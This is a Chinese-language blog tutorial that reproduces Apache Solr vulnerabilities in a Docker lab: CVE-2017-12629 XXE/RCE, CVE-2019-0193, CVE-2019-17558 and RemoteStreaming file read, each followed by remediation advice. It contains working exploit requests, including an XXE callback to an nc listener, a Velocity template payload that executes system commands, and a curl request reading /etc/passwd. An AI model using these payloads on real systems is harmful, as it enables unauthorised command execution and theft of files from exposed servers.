概述
现在已是Web时代,必然涉及到“搜索”,高效搜索、处理海量信息等功能;而以上功能必然需要搜索引擎的支持。我们不能使用Bing、Google等搜索内部资源信息,毕竟提供外部的Web需要让用户搜索是基于站内的资源检索并显示。
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。
特点
高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
环境搭建
docker拉取
jdk8 否则会报错
1 | solr.cmd -p 8983 |
1 | http://127.0.0.1:8983/solr/#/ |
新建Core
漏洞实战分类
CVE-2017-12629
漏洞描述
此CVE共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
XXE
Lucene包括一个使用XML数据结构创建全功能Lucene查询的解析器。从5.1版本开始,在Sorl的搜索查询中就开始支持xml查询。而出现漏洞的关键点在于Lucene的XML解析器没有明确禁止外部实体的DOCTYPE声明和扩展,造成可以在XML文档中包含指向外部文件(file:// )或者外部URL(http:// )的特殊实体。
RCE
Solr的RunExecutableListener
类可用于对特定事件执行任意命令,例如在每次更新查询后执行(postCommit
)。该漏洞的问题点在于这样的监听器可以通过带有add-listener
命令的Config API
来启用任意参数。
影响范围
Apache Solr <= 7.1.0
Apache Lucene <= 7.1
Apache-Solr < 7.1 版本受rce攻击影响
XXE漏洞影响版本在5.1-7.0.1
漏洞原理
XXE
Lucene包括一个使用XML数据结构创建全功能Lucene查询的解析器。从5.1版本开始,在Sorl的搜索查询中就开始支持xml查询。而出现漏洞的关键点在于Lucene的XML解析器没有明确禁止外部实体的DOCTYPE声明和扩展,造成可以在XML文档中包含指向外部文件(file:// )或者外部URL(http:// )的特殊实体。
RCE
Solr的RunExecutableListener
类可用于对特定事件执行任意命令,例如在每次更新查询后执行(postCommit
)。该漏洞的问题点在于这样的监听器可以通过带有add-listener
命令的Config API
来启用任意参数。
漏洞条件
Apache Solr <= 7.1.0
Apache Lucene <= 7.1
漏洞检测
1、XXE检测
1 | http://192.168.20.120:8983/solr/#/ |
2、nc监听
1 | nc -lvp 4444 |
3、URL请求
1 | http://192.168.20.120:8983/solr/demo/select?q={!xmlparser%20v=%27%3C!DOCTYPE%20a%20SYSTEM%20%22http://192.168.20.120:4444/si1ent%22%3E%3Ca%3E%3C/a%3E%27} |
4、创建集合
(docker里已经包含demo的集合,这里直接使用,如还不存在集合请执行以下命令。)
1 | http://192.168.20.120:8983/solr/admin/collections?action=CREATE&name=si1ent&numShards=2&maxShardsPerNode=2 |
1 | POST /solr/demo/config HTTP/1.1 |
5、执行update更新集合
1 | POST /solr/demo/update HTTP/1.1 |
6、检测文件是否存在
1 | ➜ CVE-2017-12629-XXE docker exec 660c555d2410 ls -al /tmp |
漏洞修复
1、升级到7.1最新版本
2、使用参数-Ddisable.configEdit=true来运行Solr实例
3、Solr添加授权控制
CVE-2019-0193
漏洞描述
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响范围
Apache Solr < 8.2.0 并且开启了DataImportHandler模块
Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。
只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。
漏洞原理
Apache Solr如果启用了DataImportHandler模块,因为它支持使用web请求来指定配置信息”DIH配置” ,攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容),dataConfig内容完全可控(多种利用方式),后端处理的过程中,可导致命令执行。
漏洞条件
1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
2.Solr Admin UI未开启鉴权认证。(默认情况下打开web界面无需任何认证)
漏洞检测
1、漏洞环境
2、搭建测试环境
1 | docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db |
3、URL访问
1 | http://192.168.20.120:8983/solr/#/test/core-overview |
4、选择”Dataimport”
1 | <dataConfig> |
5、POST数据
1 | POST /solr/test/dataimport?_=1616576951258&indent=on&wt=json HTTP/1.1 |
6、查看PoC测试结果
漏洞修复
1、更新至最新版本
CVE-2019-17558
漏洞描述
在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
默认情况下params.resource.loader.enabled
配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
漏洞范围
5.0.0 到 8.3.1
漏洞原理
在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
漏洞条件
在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
漏洞检测
1、docker
2、
默认情况下params.resource.loader.enabled
配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
1 | http://192.168.20.120:8983/solr/admin/cores?indexInfo=false&wt=json |
3、
通过如下请求开启params.resource.loader.enabled
,其中API路径包含刚才获取的core名称:
1 | POST /solr/demo/config HTTP/1.1 |
4、注入Velocity模板即可执行任意命令:
1 | http://192.168.20.120:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end |
漏洞修复
1、更新至最新版本
Solr任意文件读取
漏洞描述
Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
漏洞范围
Apache Solr <= 8.8.1
漏洞原理
在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源。
漏洞条件
无
漏洞检测
1、docker环境
最新的Solr
1 | ➜ Remote-Streaming-Fileread docker-compose up -d |
2、URL访问
1 | http://192.168.20.120:8983/solr/#/ |
3、获取敏感信息
1 | http://192.168.20.120:8983/solr/admin/cores?indexInfo=false&wt=json |
4、发送如下数据包,修改数据库demo
的配置,开启RemoteStreaming
1 | curl -i -s -k -X $'POST' \ |
5、再通过stream.url
读取任意文件:
1 | curl -i -s -k 'http://192.168.20.120:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd' |
漏洞修复
官方无修复版本
Referer
1 | http://oddboy.cn/2017/Apache-Solr-XML%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%89%A9%E5%B1%95XXE%E5%8F%8A%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8CRCE-CVE-2017-12629/ |
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章